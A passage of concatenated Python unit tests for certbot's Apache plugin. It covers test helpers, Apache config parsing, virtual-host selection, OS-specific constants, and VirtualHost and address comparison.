        # Make sure all vhosts in sites-enabled are symlinks (Python packaging
        # does not preserve symlinks)
        sites_enabled = os.path.join(self.config_path, "sites-enabled")
        if not os.path.exists(sites_enabled):
            return

        for vhost_basename in os.listdir(sites_enabled):
            vhost = os.path.join(sites_enabled, vhost_basename)
            if not os.path.islink(vhost):  # pragma: no cover
                os.remove(vhost)
                target = os.path.join(
                    os.path.pardir, "sites-available", vhost_basename)
                os.symlink(target, vhost)


class ParserTest(ApacheTest):  # pytlint: disable=too-few-public-methods

    def setUp(self, test_dir="debian_apache_2_4/multiple_vhosts",
              config_root="debian_apache_2_4/multiple_vhosts/apache2",
              vhost_root="debian_apache_2_4/multiple_vhosts/apache2/sites-available"):
        super(ParserTest, self).setUp(test_dir, config_root, vhost_root)

        zope.component.provideUtility(display_util.FileDisplay(sys.stdout))

        from certbot_apache.parser import ApacheParser
        self.aug = augeas.Augeas(
            flags=augeas.Augeas.NONE | augeas.Augeas.NO_MODL_AUTOLOAD)
        with mock.patch("certbot_apache.parser.ApacheParser."
                        "update_runtime_variables"):
            self.parser = ApacheParser(
                self.aug, self.config_path, self.vhost_path)


def get_apache_configurator(
        config_path, vhost_path,
        config_dir, work_dir, version=(2, 4, 7), conf=None):
    """Create an Apache Configurator with the specified options.

    :param conf: Function that returns binary paths. self.conf in Configurator

    """
    backups = os.path.join(work_dir, "backups")
    mock_le_config = mock.MagicMock(
        apache_server_root=config_path,
        apache_vhost_root=vhost_path,
        apache_le_vhost_ext=constants.os_constant("le_vhost_ext"),
        apache_challenge_location=config_path,
        backup_dir=backups,
        config_dir=config_dir,
        temp_checkpoint_dir=os.path.join(work_dir, "temp_checkpoints"),
        in_progress_dir=os.path.join(backups, "IN_PROGRESS"),
        work_dir=work_dir)

    with mock.patch("certbot_apache.configurator.util.run_script"):
        with mock.patch("certbot_apache.configurator.util."
                        "exe_exists") as mock_exe_exists:
            mock_exe_exists.return_value = True
            with mock.patch("certbot_apache.parser.ApacheParser."
                            "update_runtime_variables"):
                config = configurator.ApacheConfigurator(
                    config=mock_le_config,
                    name="apache",
                    version=version)
                # This allows testing scripts to set it a bit more quickly
                if conf is not None:
                    config.conf = conf  # pragma: no cover

                config.prepare()

    return config


def get_vh_truth(temp_dir, config_name):
    """Return the ground truth for the specified directory."""
    if config_name == "debian_apache_2_4/multiple_vhosts":
        prefix = os.path.join(
            temp_dir, config_name, "apache2/sites-available")
        aug_pre = "/files" + prefix
        vh_truth = [
            obj.VirtualHost(
                os.path.join(prefix, "encryption-example.conf"),
                os.path.join(aug_pre, "encryption-example.conf/VirtualHost"),
                set([obj.Addr.fromstring("*:80")]),
                False, True, "encryption-example.demo"),
            obj.VirtualHost(
                os.path.join(prefix, "default-ssl.conf"),
                os.path.join(aug_pre, "default-ssl.conf/IfModule/VirtualHost"),
                set([obj.Addr.fromstring("_default_:443")]), True, False),
            obj.VirtualHost(
                os.path.join(prefix, "000-default.conf"),
                os.path.join(aug_pre, "000-default.conf/VirtualHost"),
                set([obj.Addr.fromstring("*:80"),
                     obj.Addr.fromstring("[::]:80")]),
                False, True, "ip-172-30-0-17"),
            obj.VirtualHost(
                os.path.join(prefix, "certbot.conf"),
                os.path.join(aug_pre, "certbot.conf/VirtualHost"),
                set([obj.Addr.fromstring("*:80")]), False, True,
                "certbot.demo"),
            obj.VirtualHost(
                os.path.join(prefix, "mod_macro-example.conf"),
                os.path.join(aug_pre,
                             "mod_macro-example.conf/Macro/VirtualHost"),
                set([obj.Addr.fromstring("*:80")]), False, True,
                modmacro=True),
            obj.VirtualHost(
                os.path.join(prefix, "default-ssl-port-only.conf"),
                os.path.join(aug_pre, ("default-ssl-port-only.conf/"
                                       "IfModule/VirtualHost")),
                set([obj.Addr.fromstring("_default_:443")]), True, False),
            obj.VirtualHost(
                os.path.join(prefix, "wildcard.conf"),
                os.path.join(aug_pre, "wildcard.conf/VirtualHost"),
                set([obj.Addr.fromstring("*:80")]), False, False,
                "ip-172-30-0-17", aliases=["*.blue.purple.com"]),
            obj.VirtualHost(
                os.path.join(prefix, "ocsp-ssl.conf"),
                os.path.join(aug_pre, "ocsp-ssl.conf/IfModule/VirtualHost"),
                set([obj.Addr.fromstring("10.2.3.4:443")]), True, True,
                "ocspvhost.com")]
        return vh_truth

    return None  # pragma: no cover






"""Tests for certbot_apache.parser."""
import os
import shutil
import unittest

from certbot import errors

from certbot_apache.tests import util


class ComplexParserTest(util.ParserTest):
    """Apache Parser Test."""

    def setUp(self):  # pylint: disable=arguments-differ
        super(ComplexParserTest, self).setUp(
            "complex_parsing", "complex_parsing")

        self.setup_variables()
        # This needs to happen after due to setup_variables not being run
        # until after
        self.parser.init_modules()  # pylint: disable=protected-access

    def tearDown(self):
        shutil.rmtree(self.temp_dir)
        shutil.rmtree(self.config_dir)
        shutil.rmtree(self.work_dir)

    def setup_variables(self):
        """Set up variables for parser."""
        self.parser.variables.update(
            {
                "COMPLEX": "",
                "tls_port": "1234",
                "fnmatch_filename": "test_fnmatch.conf",
                "tls_port_str": "1234"
            }
        )

    def test_filter_args_num(self):
        """Note: This may also fail do to Include conf-enabled/ syntax."""
        matches = self.parser.find_dir("TestArgsDirective")

        self.assertEqual(len(self.parser.filter_args_num(matches, 1)), 3)
        self.assertEqual(len(self.parser.filter_args_num(matches, 2)), 2)
        self.assertEqual(len(self.parser.filter_args_num(matches, 3)), 1)

    def test_basic_variable_parsing(self):
        matches = self.parser.find_dir("TestVariablePort")

        self.assertEqual(len(matches), 1)
        self.assertEqual(self.parser.get_arg(matches[0]), "1234")

    def test_basic_variable_parsing_quotes(self):
        matches = self.parser.find_dir("TestVariablePortStr")

        self.assertEqual(len(matches), 1)
        self.assertEqual(self.parser.get_arg(matches[0]), "1234")

    def test_invalid_variable_parsing(self):
        del self.parser.variables["tls_port"]

        matches = self.parser.find_dir("TestVariablePort")
        self.assertRaises(
            errors.PluginError, self.parser.get_arg, matches[0])

    def test_basic_ifdefine(self):
        self.assertEqual(len(self.parser.find_dir("VAR_DIRECTIVE")), 2)
        self.assertEqual(len(self.parser.find_dir("INVALID_VAR_DIRECTIVE")), 0)

    def test_basic_ifmodule(self):
        self.assertEqual(len(self.parser.find_dir("MOD_DIRECTIVE")), 2)
        self.assertEqual(
            len(self.parser.find_dir("INVALID_MOD_DIRECTIVE")), 0)

    def test_nested(self):
        self.assertEqual(len(self.parser.find_dir("NESTED_DIRECTIVE")), 3)
        self.assertEqual(
            len(self.parser.find_dir("INVALID_NESTED_DIRECTIVE")), 0)

    def test_load_modules(self):
        """If only first is found, there is bad variable parsing."""
        self.assertTrue("status_module" in self.parser.modules)
        self.assertTrue("mod_status.c" in self.parser.modules)

        # This is in an IfDefine
        self.assertTrue("ssl_module" in self.parser.modules)
        self.assertTrue("mod_ssl.c" in self.parser.modules)

    def verify_fnmatch(self, arg, hit=True):
        """Test if Include was correctly parsed."""
        from certbot_apache import parser
        self.parser.add_dir(parser.get_aug_path(self.parser.loc["default"]),
                            "Include", [arg])
        if hit:
            self.assertTrue(self.parser.find_dir("FNMATCH_DIRECTIVE"))
        else:
            self.assertFalse(self.parser.find_dir("FNMATCH_DIRECTIVE"))

    # NOTE: Only run one test per function otherwise you will have
    # inf recursion
    def test_include(self):
        self.verify_fnmatch("test_fnmatch.?onf")

    def test_include_complex(self):
        self.verify_fnmatch("../complex_parsing/[te][te]st_*.?onf")

    def test_include_fullpath(self):
        self.verify_fnmatch(os.path.join(self.config_path,
                                         "test_fnmatch.conf"))

    def test_include_fullpath_trailing_slash(self):
        self.verify_fnmatch(self.config_path + "//")

    def test_include_single_quotes(self):
        self.verify_fnmatch("'" + self.config_path + "'")

    def test_include_double_quotes(self):
        self.verify_fnmatch('"' + self.config_path + '"')

    def test_include_variable(self):
        self.verify_fnmatch("../complex_parsing/${fnmatch_filename}")

    def test_include_missing(self):
        # This should miss
        self.verify_fnmatch("test_*.onf", False)


if __name__ == "__main__":
    unittest.main()  # pragma: no cover






"""Test certbot_apache.display_ops."""
import sys
import unittest

import mock
import zope.component

from certbot.display import util as display_util
from certbot import errors

from certbot_apache import obj

from certbot_apache.tests import util


class SelectVhostTest(unittest.TestCase):
    """Tests for certbot_apache.display_ops.select_vhost."""

    def setUp(self):
        zope.component.provideUtility(display_util.FileDisplay(sys.stdout))
        self.base_dir = "/example_path"
        self.vhosts = util.get_vh_truth(
            self.base_dir, "debian_apache_2_4/multiple_vhosts")

    @classmethod
    def _call(cls, vhosts):
        from certbot_apache.display_ops import select_vhost
        return select_vhost("example.com", vhosts)

    @mock.patch("certbot_apache.display_ops.zope.component.getUtility")
    def test_successful_choice(self, mock_util):
        mock_util().menu.return_value = (display_util.OK, 3)
        self.assertEqual(self.vhosts[3], self._call(self.vhosts))

    @mock.patch("certbot_apache.display_ops.zope.component.getUtility")
    def test_noninteractive(self, mock_util):
        mock_util().menu.side_effect = errors.MissingCommandlineFlag("no vhost default")
        try:
            self._call(self.vhosts)
        except errors.MissingCommandlineFlag as e:
            self.assertTrue("vhost ambiguity" in e.message)

    @mock.patch("certbot_apache.display_ops.zope.component.getUtility")
    def test_more_info_cancel(self, mock_util):
        mock_util().menu.side_effect = [
            (display_util.HELP, 1),
            (display_util.HELP, 0),
            (display_util.CANCEL, -1),
        ]

        self.assertEqual(None, self._call(self.vhosts))
        self.assertEqual(mock_util().notification.call_count, 2)

    def test_no_vhosts(self):
        self.assertEqual(self._call([]), None)

    @mock.patch("certbot_apache.display_ops.display_util")
    @mock.patch("certbot_apache.display_ops.zope.component.getUtility")
    @mock.patch("certbot_apache.display_ops.logger")
    def test_small_display(self, mock_logger, mock_util, mock_display_util):
        mock_display_util.WIDTH = 20
        mock_util().menu.return_value = (display_util.OK, 0)
        self._call(self.vhosts)

        self.assertEqual(mock_logger.debug.call_count, 1)

    @mock.patch("certbot_apache.display_ops.zope.component.getUtility")
    def test_multiple_names(self, mock_util):
        mock_util().menu.return_value = (display_util.OK, 5)

        self.vhosts.append(
            obj.VirtualHost(
                "path", "aug_path", set([obj.Addr.fromstring("*:80")]),
                False, False,
                "wildcard.com", set(["*.wildcard.com"])))

        self.assertEqual(self.vhosts[5], self._call(self.vhosts))


if __name__ == "__main__":
    unittest.main()  # pragma: no cover






"""Test for certbot_apache.configurator."""

import mock
import unittest

from certbot_apache import constants


class ConstantsTest(unittest.TestCase):

    @mock.patch("certbot.util.get_os_info")
    def test_get_debian_value(self, os_info):
        os_info.return_value = ('Debian', '', '')
        self.assertEqual(constants.os_constant("vhost_root"),
                         "/etc/apache2/sites-available")

    @mock.patch("certbot.util.get_os_info")
    def test_get_centos_value(self, os_info):
        os_info.return_value = ('CentOS Linux', '', '')
        self.assertEqual(constants.os_constant("vhost_root"),
                         "/etc/httpd/conf.d")

    @mock.patch("certbot.util.get_os_info")
    def test_get_default_value(self, os_info):
        os_info.return_value = ('Nonexistent Linux', '', '')
        self.assertEqual(constants.os_constant("vhost_root"),
                         "/etc/apache2/sites-available")

    @mock.patch("certbot.util.get_os_info")
    def test_get_default_constants(self, os_info):
        os_info.return_value = ('Nonexistent Linux', '', '')
        with mock.patch("certbot.util.get_systemd_os_like") as os_like:
            # Get defaults
            os_like.return_value = False
            c_hm = constants.os_constant("handle_mods")
            c_sr = constants.os_constant("server_root")
            self.assertFalse(c_hm)
            self.assertEqual(c_sr, "/etc/apache2")
            # Use darwin as like test target
            os_like.return_value = ["something", "nonexistent", "darwin"]
            d_vr = constants.os_constant("vhost_root")
            d_em = constants.os_constant("enmod")
            self.assertFalse(d_em)
            self.assertEqual(d_vr, "/etc/apache2/other")






"""Tests for certbot_apache.obj."""
import unittest


class VirtualHostTest(unittest.TestCase):
    """Test the VirtualHost class."""

    def setUp(self):
        from certbot_apache.obj import Addr
        from certbot_apache.obj import VirtualHost

        self.addr1 = Addr.fromstring("127.0.0.1")
        self.addr2 = Addr.fromstring("127.0.0.1:443")
        self.addr_default = Addr.fromstring("_default_:443")

        self.vhost1 = VirtualHost(
            "filep", "vh_path", set([self.addr1]), False, False, "localhost")

        self.vhost1b = VirtualHost(
            "filep", "vh_path", set([self.addr1]), False, False, "localhost")

        self.vhost2 = VirtualHost(
            "fp", "vhp", set([self.addr2]), False, False, "localhost")

    def test_repr(self):
        self.assertEqual(repr(self.addr2), "certbot_apache.obj.Addr(('127.0.0.1', '443'))")

    def test_eq(self):
        self.assertTrue(self.vhost1b == self.vhost1)
        self.assertFalse(self.vhost1 == self.vhost2)
        self.assertEqual(str(self.vhost1b), str(self.vhost1))
        self.assertFalse(self.vhost1b == 1234)

    def test_ne(self):
        self.assertTrue(self.vhost1 != self.vhost2)
        self.assertFalse(self.vhost1 != self.vhost1b)

    def test_conflicts(self):
        from certbot_apache.obj import Addr
        from certbot_apache.obj import VirtualHost

        complex_vh = VirtualHost(
            "fp", "vhp",
            set([Addr.fromstring("*:443"), Addr.fromstring("1.2.3.4:443")]),
            False, False)
        self.assertTrue(complex_vh.conflicts([self.addr1]))
        self.assertTrue(complex_vh.conflicts([self.addr2]))
        self.assertFalse(complex_vh.conflicts([self.addr_default]))

        self.assertTrue(self.vhost1.conflicts([self.addr2]))
        self.assertFalse(self.vhost1.conflicts([self.addr_default]))

        self.assertFalse(self.vhost2.conflicts([self.addr1,
                                                self.addr_default]))

    def test_same_server(self):
        from certbot_apache.obj import VirtualHost
        no_name1 = VirtualHost(
            "fp", "vhp", set([self.addr1]), False, False, None)
        no_name2 = VirtualHost(
            "fp", "vhp", set([self.addr2]), False, False, None)
        no_name3 = VirtualHost(
            "fp", "vhp", set([self.addr_default]),
            False, False, None)
        no_name4 = VirtualHost(
            "fp", "vhp", set([self.addr2, self.addr_default]),
            False, False, None)

        self.assertTrue(self.vhost1.same_server(self.vhost2))
        self.assertTrue(no_name1.same_server(no_name2))

        self.assertFalse(self.vhost1.same_server(no_name1))
        self.assertFalse(no_name1.same_server(no_name3))
        self.assertFalse(no_name1.same_server(no_name4))


class AddrTest(unittest.TestCase):
    """Test obj.Addr."""
    def setUp(self):
        from certbot_apache.obj import Addr
        self.addr = Addr.fromstring("*:443")

        self.addr1 = Addr.fromstring("127.0.0.1")
        self.addr2 = Addr.fromstring("127.0.0.1:*")

        self.addr_defined = Addr.fromstring("127.0.0.1:443")
        self.addr_default = Addr.fromstring("_default_:443")

    def test_wildcard(self):
        self.assertFalse(self.addr.is_wildcard())
        self.assertTrue(self.addr1.is_wildcard())
        self.assertTrue(self.addr2.is_wildcard())

    def test_get_sni_addr(self):
        from certbot_apache.obj import Addr
        self.assertEqual(
            self.addr.get_sni_addr("443"), Addr.fromstring("*:443"))
        self.assertEqual(
            self.addr.get_sni_addr("225"), Addr.fromstring("*:225"))
        self.assertEqual(
            self.addr1.get_sni_addr("443"), Addr.fromstring("127.0.0.1"))

    def test_conflicts(self):
        # Note: Defined IP is more important than defined port in match
        self.assertTrue(self.addr.conflicts(self.addr1))
        self.assertTrue(self.addr.conflicts(self.addr2))
        self.assertTrue(self.addr.conflicts(self.addr_defined))
        self.assertFalse(self.addr.conflicts(self.addr_default))

        self.assertFalse(self.addr1.conflicts(self.addr))
        self.assertTrue(self.addr1.conflicts(self.addr_defined))
        self.assertFalse(self.addr1.conflicts(self.addr_default))

        self.assertFalse(self.addr_defined.conflicts(self.addr1))
        self.assertFalse(self.addr_defined.conflicts(self.addr2))
        self.assertFalse(self.addr_defined.conflicts(self.addr))
        self.assertFalse(self.addr_defined.conflicts(self.addr_default))

        self.assertTrue(self.addr_default.conflicts(self.addr))
        self.assertTrue(self.addr_default.conflicts(self.addr1))
        self.assertTrue(self.addr_default.conflicts(self.addr_defined))

        # Self test
        self.assertTrue(self.addr.conflicts(self.addr))
        self.assertTrue(self.addr1.conflicts(self.addr1))
        # This is a tricky one...
        self.assertTrue(self.addr1.conflicts(self.addr2))

    def test_equal(self):
        self.assertTrue(self.addr1 == self.addr2)
        self.assertFalse(self.addr == self.addr1)
        self.assertFalse(self.addr == 123)

    def test_not_equal(self):
        self.assertFalse(self.addr1 != self.addr2)
        self.assertTrue(self.addr != self.addr1)


if __name__ == "__main__":
    unittest.main()  # pragma: no cover






"""Tests for certbot_apache.parser."""
import os
import shutil
import unittest

import augeas
import mock

from certbot import errors

from certbot_apache.tests import util


class BasicParserTest(util.ParserTest):
    """Apache Parser Test."""

    def setUp(self):  # pylint: disable=arguments-differ
        super(BasicParserTest, self).setUp()

    def tearDown(self):
        shutil.rmtree(self.temp_dir)
        shutil.rmtree(self.config_dir)
        shutil.rmtree(self.work_dir)

    def test_find_config_root_no_root(self):
        # pylint: disable=protected-access
        os.remove(self.parser.loc["root"])
        self.assertRaises(
            errors.NoInstallationError, self.parser._find_config_root)

    def test_parse_file(self):
        """Test parse_file.

        certbot.conf is chosen as the test file as it will not be
        included during the normal course of execution.

        """
        file_path = os.path.join(
            self.config_path, "not-parsed-by-default", "certbot.conf")

        self.parser._parse_file(file_path)  # pylint: disable=protected-access

        # search for the httpd incl
        matches = self.parser.aug.match(
            "/augeas/load/Httpd/incl [. ='%s']" % file_path)

        self.assertTrue(matches)

    def test_find_dir(self):
        test = self.parser.find_dir("Listen", "80")
        # This will only look in enabled hosts
        test2 = self.parser.find_dir("documentroot")

        self.assertEqual(len(test), 1)
        self.assertEqual(len(test2), 4)

    def test_add_dir(self):
        aug_default = "/files" + self.parser.loc["default"]
        self.parser.add_dir(aug_default, "AddDirective", "test")

        self.assertTrue(
            self.parser.find_dir("AddDirective", "test", aug_default))

        self.parser.add_dir(aug_default, "AddList", ["1", "2", "3", "4"])
        matches = self.parser.find_dir("AddList", None, aug_default)
        for i, match in enumerate(matches):
            self.assertEqual(self.parser.aug.get(match), str(i + 1))

    def test_add_dir_to_ifmodssl(self):
        """test add_dir_to_ifmodssl.

        Path must be valid before attempting to add to augeas

        """
        from certbot_apache.parser import get_aug_path
        # This makes sure that find_dir will work
        self.parser.modules.add("mod_ssl.c")

        self.parser.add_dir_to_ifmodssl(
            get_aug_path(self.parser.loc["default"]),
            "FakeDirective", ["123"])

        matches = self.parser.find_dir("FakeDirective", "123")

        self.assertEqual(len(matches), 1)
        self.assertTrue("IfModule" in matches[0])

    def test_add_dir_to_ifmodssl_multiple(self):
        from certbot_apache.parser import get_aug_path
        # This makes sure that find_dir will work
        self.parser.modules.add("mod_ssl.c")

        self.parser.add_dir_to_ifmodssl(
            get_aug_path(self.parser.loc["default"]),
            "FakeDirective", ["123", "456", "789"])

        matches = self.parser.find_dir("FakeDirective")

        self.assertEqual(len(matches), 3)
        self.assertTrue("IfModule" in matches[0])

    def test_get_aug_path(self):
        from certbot_apache.parser import get_aug_path
        self.assertEqual("/files/etc/apache", get_aug_path("/etc/apache"))

    def test_set_locations(self):
        with mock.patch("certbot_apache.parser.os.path") as mock_path:

            mock_path.isfile.side_effect = [False, False]

            # pylint: disable=protected-access
            results = self.parser._set_locations()

            self.assertEqual(results["default"], results["listen"])
            self.assertEqual(results["default"], results["name"])

    @mock.patch("certbot_apache.parser.ApacheParser._get_runtime_cfg")
    def test_update_runtime_variables(self, mock_cfg):
        mock_cfg.return_value = (
            'ServerRoot: "/etc/apache2"\n'
            'Main DocumentRoot: "/var/www"\n'
            'Main ErrorLog: "/var/log/apache2/error.log"\n'
            'Mutex ssl-stapling: using_defaults\n'
            'Mutex ssl-cache: using_defaults\n'
            'Mutex default: dir="/var/lock/apache2" mechanism=fcntl\n'
            'Mutex watchdog-callback: using_defaults\n'
            'PidFile: "/var/run/apache2/apache2.pid"\n'
            'Define: TEST\n'
            'Define: DUMP_RUN_CFG\n'
            'Define: U_MICH\n'
            'Define: TLS=443\n'
            'Define: example_path=Documents/path\n'
            'User: name="www-data" id=33 not_used\n'
            'Group: name="www-data" id=33 not_used\n'
        )
        expected_vars = {"TEST": "", "U_MICH": "", "TLS": "443",
                         "example_path": "Documents/path"}

        self.parser.update_runtime_variables()
        self.assertEqual(self.parser.variables, expected_vars)

    @mock.patch("certbot_apache.parser.ApacheParser._get_runtime_cfg")
    def test_update_runtime_vars_bad_output(self, mock_cfg):
        mock_cfg.return_value = "Define: TLS=443=24"
        self.parser.update_runtime_variables()

        mock_cfg.return_value = "Define: DUMP_RUN_CFG\nDefine: TLS=443=24"
        self.assertRaises(
            errors.PluginError, self.parser.update_runtime_variables)

    @mock.patch("certbot_apache.constants.os_constant")
    @mock.patch("certbot_apache.parser.subprocess.Popen")
    def test_update_runtime_vars_bad_ctl(self, mock_popen, mock_const):
        mock_popen.side_effect = OSError
        mock_const.return_value = "nonexistent"
        self.assertRaises(
            errors.MisconfigurationError,
            self.parser.update_runtime_variables)

    @mock.patch("certbot_apache.parser.subprocess.Popen")
    def test_update_runtime_vars_bad_exit(self, mock_popen):
        mock_popen().communicate.return_value = ("", "")
        mock_popen.returncode = -1
        self.assertRaises(
            errors.MisconfigurationError,
            self.parser.update_runtime_variables)


class ParserInitTest(util.ApacheTest):
    def setUp(self):  # pylint: disable=arguments-differ
        super(ParserInitTest, self).setUp()
        self.aug = augeas.Augeas(
            flags=augeas.Augeas.NONE | augeas.Augeas.NO_MODL_AUTOLOAD)

    def tearDown(self):
        shutil.rmtree(self.temp_dir)
        shutil.rmtree(self.config_dir)
        shutil.rmtree(self.work_dir)

    @mock.patch("certbot_apache.parser.ApacheParser._get_runtime_cfg")
    def test_unparsable(self, mock_cfg):
        from certbot_apache.parser import ApacheParser
        mock_cfg.return_value = ('Define: TEST')
        self.assertRaises(
            errors.PluginError,
            ApacheParser, self.aug, os.path.relpath(self.config_path),
            "/dummy/vhostpath", version=(2, 2, 22))

    def test_root_normalized(self):
        from certbot_apache.parser import ApacheParser

        with mock.patch("certbot_apache.parser.ApacheParser."
                        "update_runtime_variables"):
            path = os.path.join(
                self.temp_dir,
                "debian_apache_2_4/////multiple_vhosts/../multiple_vhosts/apache2")

            parser = ApacheParser(self.aug, path,
                                  "/dummy/vhostpath")

        self.assertEqual(parser.root, self.config_path)

    def test_root_absolute(self):
        from certbot_apache.parser import ApacheParser
        with mock.patch("certbot_apache.parser.ApacheParser."
                        "update_runtime_variables"):
            parser = ApacheParser(
                self.aug, os.path.relpath(self.config_path),
                "/dummy/vhostpath")

        self.assertEqual(parser.root, self.config_path)

    def test_root_no_trailing_slash(self):
        from certbot_apache.parser import ApacheParser
        with mock.patch("certbot_apache.parser.ApacheParser."
                        "update_runtime_variables"):
            parser = ApacheParser(
                self.aug, self.config_path + os.path.sep,
                "/dummy/vhostpath")
        self.assertEqual(parser.root, self.config_path)


if __name__ == "__main__":
    unittest.main()  # pragma: no cover






"""Certbot Apache Tests"""






# pylint: disable=too-many-public-methods,too-many-lines
"""Test for certbot_apache.configurator."""
import os
import shutil
import socket
import unittest

import mock

from acme import challenges

from certbot import achallenges
from certbot import errors

from certbot.tests import acme_util

from certbot_apache import configurator
from certbot_apache import parser
from certbot_apache import obj

from certbot_apache.tests import util


class MultipleVhostsTest(util.ApacheTest):
    """Test two standard well-configured HTTP vhosts."""

    def setUp(self):  # pylint: disable=arguments-differ
        super(MultipleVhostsTest, self).setUp()

        self.config = util.get_apache_configurator(
            self.config_path, self.vhost_path, self.config_dir, self.work_dir)
        self.config = self.mock_deploy_cert(self.config)
        self.vh_truth = util.get_vh_truth(
            self.temp_dir, "debian_apache_2_4/multiple_vhosts")

    def mock_deploy_cert(self, config):
        """A test for a mock deploy cert"""
        self.config.real_deploy_cert = self.config.deploy_cert

        def mocked_deploy_cert(*args, **kwargs):
            """a helper to mock a deployed cert"""
            with mock.patch("certbot_apache.configurator.ApacheConfigurator.enable_mod"):
                config.real_deploy_cert(*args, **kwargs)
        self.config.deploy_cert = mocked_deploy_cert
        return self.config

    def tearDown(self):
        shutil.rmtree(self.temp_dir)
        shutil.rmtree(self.config_dir)
        shutil.rmtree(self.work_dir)

    @mock.patch("certbot_apache.configurator.ApacheConfigurator.init_augeas")
    @mock.patch("certbot_apache.configurator.path_surgery")
    def test_prepare_no_install(self, mock_surgery, _init_augeas):
        silly_path = {"PATH": "/tmp/nothingness2342"}
        mock_surgery.return_value = False
        with mock.patch.dict('os.environ', silly_path):
            self.assertRaises(errors.NoInstallationError, self.config.prepare)
            self.assertEqual(mock_surgery.call_count, 1)

    @mock.patch("certbot_apache.augeas_configurator.AugeasConfigurator.init_augeas")
    def test_prepare_no_augeas(self, mock_init_augeas):
        """ Test augeas initialization ImportError """
        def side_effect_error():
            """ Side effect error for the test """
            raise ImportError
        mock_init_augeas.side_effect = side_effect_error
        self.assertRaises(
            errors.NoInstallationError, self.config.prepare)

    @mock.patch("certbot_apache.parser.ApacheParser")
    @mock.patch("certbot_apache.configurator.util.exe_exists")
    def test_prepare_version(self, mock_exe_exists, _):
        mock_exe_exists.return_value = True
        self.config.version = None
        self.config.config_test = mock.Mock()
        self.config.get_version = mock.Mock(return_value=(1, 1))

        self.assertRaises(
            errors.NotSupportedError, self.config.prepare)

    @mock.patch("certbot_apache.parser.ApacheParser")
    @mock.patch("certbot_apache.configurator.util.exe_exists")
    def test_prepare_old_aug(self, mock_exe_exists, _):
        mock_exe_exists.return_value = True
        self.config.config_test = mock.Mock()
        # pylint: disable=protected-access
        self.config._check_aug_version = mock.Mock(return_value=False)
        self.assertRaises(
            errors.NotSupportedError, self.config.prepare)


    def test_add_parser_arguments(self):  # pylint: disable=no-self-use
        from certbot_apache.configurator import ApacheConfigurator
        # Weak test..
        ApacheConfigurator.add_parser_arguments(mock.MagicMock())

    @mock.patch("zope.component.getUtility")
    def test_get_all_names(self, mock_getutility):
        mock_getutility.notification = mock.MagicMock(return_value=True)
        names = self.config.get_all_names()
        self.assertEqual(names, set(
            ["certbot.demo", "ocspvhost.com", "encryption-example.demo",
                "ip-172-30-0-17", "*.blue.purple.com"]))

    @mock.patch("zope.component.getUtility")
    @mock.patch("certbot_apache.configurator.socket.gethostbyaddr")
    def test_get_all_names_addrs(self, mock_gethost, mock_getutility):
        mock_gethost.side_effect = [("google.com", "", ""), socket.error]
        notification = mock.Mock()
        notification.notification = mock.Mock(return_value=True)
        mock_getutility.return_value = notification
        vhost = obj.VirtualHost(
            "fp", "ap",
            set([obj.Addr(("8.8.8.8", "443")),
                 obj.Addr(("zombo.com",)),
                 obj.Addr(("192.168.1.2"))]),
            True, False)

        self.config.vhosts.append(vhost)

        names = self.config.get_all_names()
        self.assertEqual(len(names), 7)
        self.assertTrue("zombo.com" in names)
        self.assertTrue("google.com" in names)
        self.assertTrue("certbot.demo" in names)

    def test_get_bad_path(self):
        from certbot_apache.configurator import get_file_path
        self.assertEqual(get_file_path(None), None)
        self.assertEqual(get_file_path("nonexistent"), None)
        self.assertEqual(self.config._create_vhost("nonexistent"), None) # pylint: disable=protected-access

    def test_bad_servername_alias(self):
        ssl_vh1 = obj.VirtualHost(
            "fp1", "ap1", set([obj.Addr(("*", "443"))]),
            True, False)
        # pylint: disable=protected-access
        self.config._add_servernames(ssl_vh1)
        self.assertTrue(
                self.config._add_servername_alias("oy_vey", ssl_vh1) is None)

    def test_add_servernames_alias(self):
        self.config.parser.add_dir(
            self.vh_truth[2].path, "ServerAlias", ["*.le.co"])
        # pylint: disable=protected-access
        self.config._add_servernames(self.vh_truth[2])
        self.assertEqual(
            self.vh_truth[2].get_names(), set(["*.le.co", "ip-172-30-0-17"]))

    def test_get_virtual_hosts(self):
        """Make sure all vhosts are being properly found.

        .. note:: If test fails, only finding 1 Vhost... it is likely that
            it is a problem with is_enabled.  If finding only 3, likely is_ssl

        """
        vhs = self.config.get_virtual_hosts()
        self.assertEqual(len(vhs), 8)
        found = 0

        for vhost in vhs:
            for truth in self.vh_truth:
                if vhost == truth:
                    found += 1
                    break
            else:
                raise Exception("Missed: %s" % vhost)  # pragma: no cover

        self.assertEqual(found, 8)

        # Handle case of non-debian layout get_virtual_hosts
        with mock.patch(
                "certbot_apache.configurator.ApacheConfigurator.conf"
        ) as mock_conf:
            mock_conf.return_value = False
            vhs = self.config.get_virtual_hosts()
            self.assertEqual(len(vhs), 8)

    @mock.patch("certbot_apache.display_ops.select_vhost")
    def test_choose_vhost_none_avail(self, mock_select):
        mock_select.return_value = None
        self.assertRaises(
            errors.PluginError, self.config.choose_vhost, "none.com")

    @mock.patch("certbot_apache.display_ops.select_vhost")
    def test_choose_vhost_select_vhost_ssl(self, mock_select):
        mock_select.return_value = self.vh_truth[1]
        self.assertEqual(
            self.vh_truth[1], self.config.choose_vhost("none.com"))

    @mock.patch("certbot_apache.display_ops.select_vhost")
    def test_choose_vhost_select_vhost_non_ssl(self, mock_select):
        mock_select.return_value = self.vh_truth[0]
        chosen_vhost = self.config.choose_vhost("none.com")
        self.vh_truth[0].aliases.add("none.com")
        self.assertEqual(
            self.vh_truth[0].get_names(), chosen_vhost.get_names())

        # Make sure we go from HTTP -> HTTPS
        self.assertFalse(self.vh_truth[0].ssl)
        self.assertTrue(chosen_vhost.ssl)

    @mock.patch("certbot_apache.display_ops.select_vhost")
    def test_choose_vhost_select_vhost_with_temp(self, mock_select):
        mock_select.return_value = self.vh_truth[0]
        chosen_vhost = self.config.choose_vhost("none.com", temp=True)
        self.assertEqual(self.vh_truth[0], chosen_vhost)

    @mock.patch("certbot_apache.display_ops.select_vhost")
    def test_choose_vhost_select_vhost_conflicting_non_ssl(self, mock_select):
        mock_select.return_value = self.vh_truth[3]
        conflicting_vhost = obj.VirtualHost(
            "path", "aug_path", set([obj.Addr.fromstring("*:443")]),
            True, True)
        self.config.vhosts.append(conflicting_vhost)

        self.assertRaises(
            errors.PluginError, self.config.choose_vhost, "none.com")

    def test_choosevhost_select_vhost_with_wildcard(self):
        chosen_vhost = self.config.choose_vhost("blue.purple.com", temp=True)
        self.assertEqual(self.vh_truth[6], chosen_vhost)

    def test_findbest_continues_on_short_domain(self):
        # pylint: disable=protected-access
